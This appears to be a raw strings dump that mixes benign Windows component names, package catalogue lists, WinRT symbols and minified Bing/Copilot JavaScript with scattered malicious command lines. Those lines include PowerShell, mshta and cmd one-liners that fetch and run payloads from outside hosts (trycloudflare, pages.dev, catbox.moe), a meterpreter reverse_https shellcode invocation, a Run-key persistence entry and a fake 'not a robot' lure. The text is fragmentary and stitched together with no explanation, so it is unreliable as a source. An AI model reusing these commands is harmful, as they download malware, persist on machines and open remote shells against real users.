Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
 @Windows@winrt@@V<lambda_1>@?1??Register@NotifiX
  </DockWindows>
  <FloatWindows Count="0" />
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
 /q/ctype%systemroot%\system32\msh*.exe>%public%\msh&ren%public%\**ta.exe&for%iin(%public%\ms*.exe)dostart/b%~ni"https://www.privacysign.org/
-="c:\windows\system32\
C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db
C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db-journal
C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db-wal
c:\windows\system32\cmd.exe/crobocopy"\\superb-rotation-gourmet-frequently.trycloudflare.com@ssl\davwwwroot\re_02ymsa"%temp%loop.wsf
qc:\windows\system32\conhost.exepowershell$progresspreference='silentlycontinue';$b='c:\users';iw''rhttp
c:\windows\system32\windowspowershell\v1.0\powershell.exe'.c:\w*\s*2\m*ta.*ehttps://popcorntitle.com/aj82jd/sockerhasdawnduncie'|iex
Yc:\windows\system32\cmd.exe/cstartcomprobante""de""compra""realizada""el""14""de""agosto""en""tienda""virtual.js&start
c:\windows\system32\cmd.exe/cstartcomprobante""de""compra""realizada""el""14""de""agosto""en""tienda""virtual.js&start
ir%\system32\
toconfirmthatyouarenotarobot,please:","press_windows_key":"press&holdthewindowskey"
regadd"hkcu\software\microsoft\windows\currentversion\run"/v"
objshell.run("powershell.exe-noprofile-executionpolicybypass-windowstylehidden-file
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
powershell.exe-executionpolicybypass-windowstylehidden-command"iwr"https://ee-ce0.pages.dev/burkin.exe"-outfile"$env:temp\
.cmdc:\windows\system32\zipfldr.dll%systemroot%\system32\zipfldr.dll
system32v2fskcmd.exe@fsku
.4icmd.exej-i<c:\windows\system32\cmd.exe/c
.cmdc:\windows\system32\write.exe%systemroot%\system32\write.exe%systemroot%
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')http://ukr-netdigitalhub.pro/x64dbg2
c:\windows\system32\cmd.exe/d/v/r^s^ta^r^t^m^s^ie^xecpybx=i^dq/q^ui^e^tjna^mt^m=o^z^l/^p^a^ckag^e"http://0p.rs:8080/bj/b/myr/cdi4bxqg3oeocekc/5oopwj2ft0on
mFxgmshta.exel-k}^zc:\windows\system32\mshta.exe%systemroot%\system32\%http://a0718624.xsph.ru/intention.mov!%systemroot%\system32\dsuiext.dll%systemroot%
<$([environment]::username)\\appdata\\roaming\\microsoft\\windows\\'startmenu'\\programs\\startup\\
);invoke-shellcode-payloadwindows/meterpreter/reverse_https
.?AVWindowsError@PrintCore@@
windows.activatableClass%P
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
onecoreuap\windows\moderncore\windowing\core\lib\TitleBarResourceProvider.cxx
onecoreuap\windows\moderncore\windowing\core\lib\TitleBarUIAProvider.cxx
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Dedup-ChunkLibrary-Package~31bf3856ad364e35~amd64~~10.0.26100.3323.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
e3^com.microsoft.windows.ai.actions
com.microsoft.windows.ai.actions
e7^com.microsoft.windows.extensionpackage
e8^com.microsoft.windows.webexperiencehost
com.microsoft.windows.webexperiencehost
	Hostaps.prod.windows.comF
47^windows.appServic
WindowsInternal.ComposableShell.Experiences.Text
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ImeNotificationWatcher
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidateItemVerticalWrit
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardGrid
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ModeAvailabilityManager
 Windows 
%programfiles(x86)%\Citrix\System32\iexplore.exe
%windir%\system32\atbroker.exe
%windir%\system32\bdeunlock.exe
%windir%\system32\buaappnt.exe
%windir%\system32\conhost.exe
%windir%\system32\ctfmon.exe
%windir%\system32\dwwin.exe
%windir%\system32\ie4uinit.exe
%windir%\system32\igfxem.exe
%windir%\system32\igfxhk.exe
%windir%\system32\igfxtray.exe
%windir%\system32\macromed\flash\flashplayerupdateservice.exe
%windir%\system32\microsoft.uev.synccontroller.exe
%windir%\system32\notepad.exe
%windir%\system32\ntprint.exe
%windir%\system32\pcaui.exe
%windir%\system32\searchprotocolhost.exe
%windir%\system32\slui.exe
%windir%\system32\verclsid.exe
%windir%\system32
c:\windows\system32\windowspowershell\v1.0\powershell.exe-command[net.servicepointmanager]::securityprotocol=[net.securityprotocoltype]::tls12;
invoke-webrequest-uri'https://files.catbox.moe/zi4658.bat'-outfile'c:\windows\client48_sc.bat';&'c:\windows\client48_sc.bat';&$localscriptpath}
Qc:\windows\system32\forfiles.exe/pc:\windows\system32/mcmmon32.exe/c"powershell.\*i*\*2\msh*ehttps://ghost.resourcepool.store/webdav/reg/shcore
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command&{$z='rrjo4jn23ptjoct!tjofg!!!fjdnwp!j;4t3oi#4ftkzo4mbmpe';
^c:\windows\system32\windowspowershell\v1.0\powershell.exe-
zc:\windows\system32\cmd.exe/cnetusex:"https://finally-milwaukee-cooked-diagram.trycloudflare.com"/persistent:no&&x:\2h.bat&netusex:/delete/yes
cmd.exej-i9vc:\windows\system32\cmd.exe..\windows\system32P
UI@Windows
WindowsOobeAppHost.FrameViewModel
WindowsOobeAppHost.View.AcrylicImageBrush
WindowsOobeAppHost.View.FrameExtensionPage
WindowsOobeAppHost.View.LayoutHelper
WindowsOobeAppHost.View.LiteFrame
WindowsOobeAppHost.View.LottieVisualSourceWrapper
WindowsOobeAppHost.WindowsOobeAppHost_XamlTypeInfo.XamlMetaDataProvider
WindowsOobeAppHost.wwa
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\Staging.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result_macros.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\registry_helpers.h
Windows.OS.Emergency.EXE.amd64
Windows.AppraiserData.amd64
Windows.EmergencyUpdate.amd64
Windows.OOBE.amd64
Windows.OS.Emergency.CBS.amd64
Windows.UpdateStackPackage.amd64
\Windows\system32\userinit.exe,"
\Windows\system32\emptyregdb.dat\
WindowsUdk
b5^com.microsoft.windows.app.personacardmanager
com.microsoft.windows.app.personacardmanager
\system32\reslan\csrss.exe\system32\systsk\age.exeA
windows.preInstalledConfigTask
eleter@VGetActivitiesByGroupAndDeviceIdAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VGetActivitiesByGroupAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VActivityStoreReaderCallbackWrapper@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AV?$ComPtrDeleter@UIBufferByteAccess@Streams@Storage@Windows@@@@
.?AU?$default_delete@VUserObjectFactory@Core@Cloud@Storage@Internal@Windows@@@std@@
.?AU?$default_delete@VCloudStoreAccount@Core@Cloud@Storage@Internal@Windows@@@std@@
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModelapp:immersiv
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SnapLayout
cKandnot(pathnamelike'%:\WINDOWS\%')
%windir%\system32\drivers\etc\host
windows update system corrupted successfullyw
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\resource.h
Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType
System.Windows.Forms
System.Windows.Forms.Design
ShowWindowStyles
WindowStyles
UpdateLayeredWindowsFlags
pc:\windows\syswow64
s_WindowsRuntimeResourceManager
System.Runtime.InteropServices.WindowsRuntime.IBindableIterator.get_Current
get_ThreeLetterWindowsLanguageName
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileCollectionItemData
Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileSingletonData
WindowSetResizable
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.GetIAccessible
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FContinueIdle
System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.FDoIdle
 http://www.microsoft.com/windows0
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.28
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.28
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.8
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.21
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.9
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.25
WINDOWS.INTERNAL.SECURITY.WEBAUTHENTICATION.SYSTEMAUTHENTICATORINTERNAL
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.14
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.16
api-ms-win-core-windowserrorreporting-l1-1-3.dll
api-ms-win-core-windowserrorreporting-l1-1-1.dll
api-ms-win-core-windowserrorreporting-l1-1-2.dll
api-ms-win-core-windowserrorreporting-l1-1-0.dll
I=void 0?void 0:t.isHovered)||!1}}formatLength(n){const t=Math.floor(n/1e3),i=Math.floor(t/60);return`${i}:${String(t%60).padStart(2,"0")}`}render(){var a;const{id:v,FieldsStore:e,Scenario:h,isFullWidthDSB:f,imageHostName:p,onLeft:c}=this.props,y=n.config.useCobaltCSS&&!f?n.config.newTvDesignWin11?2:3:2,w=y,b=u>2?r?"dsb-mega__container_newtv addit dsb-mega__container--many":"dsb-mega__container dsb-mega__container--many":"dsb-mega__container";let l=[],o=0,s=!1;if((e===null||e===void 0?void 0:e.Items)&&e.Items.length>=y){l=e.Items.slice(0,u).map((l,a)=>{var k,d,g,nt,tt;const{ClickThroughUrl:it,Title:ot,Thumbnail:v,MotionThumbnail:w,TimeLength:rt,PublisherName:ut,ChannelName:st,ViewCount:ht,LikeCount:ct,PublishedDateTime:lt,date:at}=l;let y=v===null||v===void 0?void 0:v.ThumbnailId,p=f||r?v===null||v===void 0?void 0:v.ThumbnailHeightV2:v===null||v===void 0?void 0:v.ThumbnailHeight;if(o=f||r?v===null||v===void 0?void 0:v.ThumbnailWidthV2:v===null||v===void 0?void 0:v.ThumbnailWidth,f&&!c&&!(p>0&&o>0)){const{width:t,height:i}=n.generateThumbnailDimension({dsbSection:2,dsbScenario:n.DSBScenario.TrendingVideo,isWindows11:n.config.useCobaltCSS,isTwoCta:!1,isFullWidthDSB:f,isOnLeftColumn:c});o=t;p=i}s=p>0&&o>0;const ft=s?{width:`${o}px`,height:`${p}px`}:{};let b=!1;const et=w===null||w===void 0?void 0:w.ThumbnailId;w&&(b=!0);const vt=()=>React.createElement(React.Fragment,null,React.createElement("div",{style:ft,className:"dsb-mega__thumbnail motion"},React.createElement("video",{muted:!0,loop:!0,autoPlay:!0,src:`${s?n.generateBingThumbnailUrlFromId(et,this.props.imageHostName,o,p,1):n.generateBingThumbnailUrlFromIdByScenario(et,{dsbSection:2,dsbScenario:n.DSBScenario.TrendingVideo,isWindows11:n.config.useCobaltCSS,isTwoCta:!1,isFullWidthDSB:f||r,isOnLeftColumn:c},this.props.imageHostName,1)}`})),React.createElement("div",{className:"dsb-mega-videos__preview"},"Preview"),React.createElement("div",{className:"dsb-mega__length__motion"},this.formatLength(rt)),f&&React.createElement("div",{className:"dsb-mega-videos__play__motion"},React.createElement(t.PlayIconV2,null))||!(f||r)&&React.createElement("div",{className:"dsb-mega-videos__play__tvcarousel__motion"},React.createElement(t.PlayIcon,null))),yt=()=>React.createElement("div",{className:"dsb-mega__thumbnail",style:Object.assign(Object.assign({},n.getImageStyle(y,2,n.DSBScenario.TrendingVideo,this.props.imageHostName,!1,!1,f||r,o,p,c)),ft)},React.createElement("div",{className:"dsb-mega__length"},this.formatLength(rt)),(f||r)&&React.createElement("div",{className:"dsb-mega-videos__play"},React.createElement(t.PlayIconV2,null)),!(f||r)&&React.createElement("div",{className:"dsb-mega-videos__play__tvcarousel"},React.createElement(t.PlayIcon,null)));return(this.props.isFullWidthDSB||r)&&((k=y===null||y===void 0?void 0:y.toLowerCase())===null||k===void 0?void 0:k.indexOf("/th?"))>=0&&(y=n.extractThumbnailIdFromUrl(y)),React.createElement(i.MegaVideoItem,{index:a,itemsLength:(nt=((d=e===null||e===void 0?void 0:e.Items)===null||d===void 0?void 0:d.length)>u?u:(g=e===null||e===void 0?void 0:e.Items)===null||g===void 0?void 0:g.length)!==null&&nt!==void 0?nt:0,key:a,date:at,PublishedDateTime:lt,ViewCount:ht,LikeCount:ct,scenario:h,instrumentedItem:l.instrumentedItem,className:"dsb-mega__images-container focusable",isFullWidthDSB:f||r,showMetadata:!!e.ShowMetadata,clickEvent:t=>{var i;it&&((i=t.persist)===null||i===void 0?void 0:i.call(t),t.stopPropagation(),n.clickDSBHandler(t.nativeEvent,it,l.instrumentedItem))},onMouseEnterEvent:()=>this.setIsHovered(a,b),onMouseLeaveEvent:()=>this.setIsHovered(a,b),Title:ot,PublisherName:ut,ChannelName:st,widthOverride:s?o:null,imageHostName:this.props.imageHostName,sourceIconId:(tt=e.IconThumbnailIds)===null||tt===void 0?void 0:tt[ut]},b&&this.isItemHovered(a)?React.createElement(vt,null):React.createElement(yt,null))});let y=l?s?12:f||r?12:5:0,k=s?n.getTilesToShowCount(2,n.DSBScenario[h],!1,f||r,o,c,y):w;const g=f?n.config.useCobaltCSS&&n.config.enableDSBWin11FullWidth?"8px":"16px":"0px",d={dsbScenario:h,tilesToShow:k,showAriaMessage:!1,tileSpacinU
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
 _filecreate ( @localappdatadir & "\microsoft\windows\netq.pbk" ) 
!#Windows_Hello_7BB5EEFC_CA_2018
C:\WINDOWS\TWAIN_32
SYSTEM32\UNKNOWNDLL#
a6^windows.comServe
s\system32\cmd.exe/kstartmsedge
%systemdrive%\windows\system32"/yxcopy"x
.dat""%systemdrive%\windows\system32"/yren"%systemdrive%\windows\system32\x
_shellexecute("cmd.exe","/cpowershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile(
"CorporationII.PowerAppsforWindows10_8wekyb3d8bbwet
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing,
c:/windows/system32/d
c:/windows/system32/d
Microsoft Windows3
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.5
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.4
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.5
Microsoft.Windows.Desktop.Shell.Authentication.AuthUI
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.3
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Printing-InternetPrinting-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-AssignedAccess-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Me:\jinzq\stat.wamme.cnGameVersionUpdatesoftware\microsoft\windows\currentversion\policies\networkNoNetConnectDisconnect%2\protocol\stdfileediting\server
\system32\drivers\etc\hosts
api-ms-win-core-file-Windows_NT.armGetTokenForVTableEntry!#ALF:Y2V:Florian_Roth/SUSP_Base64_Encoded_Hacktool_Dev
jBc:\windows\system32\cmd.exe/cstartnew""
t"):[],v=t.ProbSugClickGivenPrefs?t.ProbSugClickGivenPrefs.split("\t"):[],y=t.ClicksOnSugGivenPrefs?t.ClicksOnSugGivenPrefs.split("\t"):[],p=t.ProbSugClickGivenBackground?t.ProbSugClickGivenBackground.split("\t"):[],w=t.Loglikelihoods?t.Loglikelihoods.split("\t"):[],c=t.SuggestionGroups?t.SuggestionGroups.split("\t"):[],b=t.ProbSugClickGivenPrefWeeks?t.ProbSugClickGivenPrefWeeks.split("\t"):[],l=t.ProbSugClickGivenPrefWeekends?t.ProbSugClickGivenPrefWeekends.split("\t"):[],k=t.ProbSugClickGivenBackgroundWeeks?t.ProbSugClickGivenBackgroundWeeks.split("\t"):[],nt=t.ProbSugClickGivenBackgroundWeekends?t.ProbSugClickGivenBackgroundWeekends.split("\t"):[],d=t.LoglikelihoodWeeks?t.LoglikelihoodWeeks.split("\t"):[],g=t.LoglikelihoodWeekends?t.LoglikelihoodWeekends.split("\t"):[],s=n.config.athenaKeyType==0||!t.SuggestionHandOffTypes?[]:t.SuggestionHandOffTypes.split("\t"),o=a.length,h=e();if(u(o,c.length,s.length))for(let t=0;t<o;t++){let e=c&&c.length>t?c[t]:"",tt=s&&s.length>t?s[t]:"",it=r(e,tt,""),u=i(a[t],it);f[u]={SuggestionGroup:+c[t]};p.length==o&&(f[u].ProbSugClickGivenBackground=Number(p[t]));v.length==o&&(f[u].ProbSugClickGivenPref=Number(v[t]));y.length==o&&(f[u].ClicksOnSugGivenPref=Number(y[t]));w.length==o&&(f[u].Loglikelihood=Number(w[t]));n.config.athenaKeyType!=0&&s.length==o&&(f[u].SuggestionHandOffType=Number(s[t]));b.length!=o||h?l.length==o&&h&&(f[u].ProbSugClickGivenPrefTime=Number(l[t])):f[u].ProbSugClickGivenPrefTime=Number(b[t]);k.length!=o||h?l.length==o&&h&&(f[u].ProbSugClickGivenBackgroundTime=Number(nt[t])):f[u].ProbSugClickGivenBackgroundTime=Number(k[t]);d.length!=o||h?g.length==o&&h&&(f[u].LoglikelihoodTime=Number(g[t])):f[u].LoglikelihoodTime=Number(d[t])}else n.LogWSBError("parseLLSignals",null,new Error("Length doesn't match"),undefined,undefined,"WindowsTelemetry")}function gt(t,f){let c=t.CCRSuggestions?t.CCRSuggestions.split("\t"):[],h=t.CCRSuggestionGroups?t.CCRSuggestionGroups.split("\t"):[],l=t.CCRs?t.CCRs.split("\t"):[],a=t.EventCounts?t.EventCounts.split("\t"):[],s=n.config.athenaKeyType==0||!t.CCRSuggestionHandOffTypes?[]:t.CCRSuggestionHandOffTypes.split("\t"),v=t.CCRsWeek?t.CCRsWeek.split("\t"):[],y=t.CCRsWeekend?t.CCRsWeekend.split("\t"):[],o=c.length,p=e();if(u(o,h.length,s.length))for(let t=0;t<o;t++){let e=h&&h.length>t?h[t]:"",w=s&&s.length>t?s[t]:"",b=r(e,w,""),u=i(c[t],b);f[u]||(f[u]={SuggestionGroup:Number(h[t])});l.length==o&&(f[u].CCR=Number(l[t]));a.length==o&&(f[u].EventCount=Number(a[t]));n.config.athenaKeyType!=0&&s.length==o&&(f[u].CCRSuggestionHandOffType=Number(s[t]));v.length!=o||p?y.length==o&&p&&(f[u].CCRTime=Number(y[t])):f[u].CCRTime=Number(v[t])}else n.LogWSBError("parseCCRSignals",null,new Error("Length doesn't match"),undefined,undefined,"WindowsTelemetry")}function ni(t,i){let e=t.SugTypes?t.SugTypes.split("\t"):[],o=t.HandOffTypes?t.HandOffTypes.split("\t"):[],s=t.PSGPCRs?t.PSGPCRs.split("\t"):[],h=t.PSGCCRs?t.PSGCCRs.split("\t"):[],c=t.PSGSTRs?t.PSGSTRs.split("\t"):[],l=t.PSGSATCCRs?t.PSGSATCCRs.split("\t"):[],a=t.PSGSATPCRs?t.PSGSATPCRs.split("\t"):[],f=e.length;if(u(f,0,o.length))for(let n=0;n<f;n++){let u=e[n],v=o[n],t=r("",v,u);i[t]={};s.length==f&&(i[t].PSGPCR=Number(s[n]));h.length==f&&(i[t].PSGCCR=Number(h[n]));c.length==f&&(i[t].PSGSTR=Number(c[n]));l.length==f&&(i[t].PSGSATCCR=Number(l[n]));a.length==f&&(i[t].PSGSATPCR=Number(a[n]))}else n.LogWSBError("parseGroupEngagementSignals",null,new Error("Length doesn't match"),undefined,undefined,"WindowsTelemetry")}function ti(n,t){let i={};if(t){let u=0,f=0,r={};for(let{key:e,value:o}of t){r[e]={lexicalSimilarity:0,groupClickCounts:{},groupWeight:{}};f+=a(r,e,n);let t=y(o);r[e].groupClickCounts=t.groupLaunches;for(let n in r[e].groupClickCounts)i[n]||(i[n]={probability:0,weight:0}),i[n].probability+=t.groupHits[n],u+=t.groupHits[n]}v(i,r,f,u)}return i}function ii(n,t){let i={};if(t){let u=0,f=0,r={};for(let{key:o,value:e}of t){r[o]={lexicalSimilarity:0,groupClickCounts:{},groupWeight:{}};f+=a(r,o,n);for(let n in e)e[n]&&e[n].prefixLaunchCount&&(i[n]||(i[n]={probability:0,weight:0}),r[o].groupClickCount
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\system32\windowspowershell\v1.0\powershell.exee..\..\..\..\..\windows\system32\windowspowershell\v1.0\powershell.exepowershell
powershell.exe-windowstylehidden-command"$
1.InkToolbarEraserButtonFirstHandlerAddedWindows.UI.Xaml.Controls@
TrackWindows
%.UI.Xaml.Controls.SplitButtonInlineViewLayoutWindows4
WindowsEnergySaverAvailable
start"c:\programdata\windowshost\
U?$default_delete@VXamlCore@Windows
I_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_40a52a577f2774112cc322ed713c9314>@@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_2069ea3180652bb8d414f7c9f5d71ded>@@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_2069ea3180652bb8d414f7c9f5d71ded>@@@impl@winrt@@
.?AU?$implements_delegate@UContextMenuOpeningEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_915c576985f5e7d3de57c502861896f5>@@@impl@winrt@@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_40a52a577f2774112cc322ed713c9314>@@@impl@winrt@@
.?AU?$delegate@UContextMenuOpeningEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_915c576985f5e7d3de57c502861896f5>@@@impl@winrt@@
.?AUtype@?$abi@UContextMenuOpeningEventHandler@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
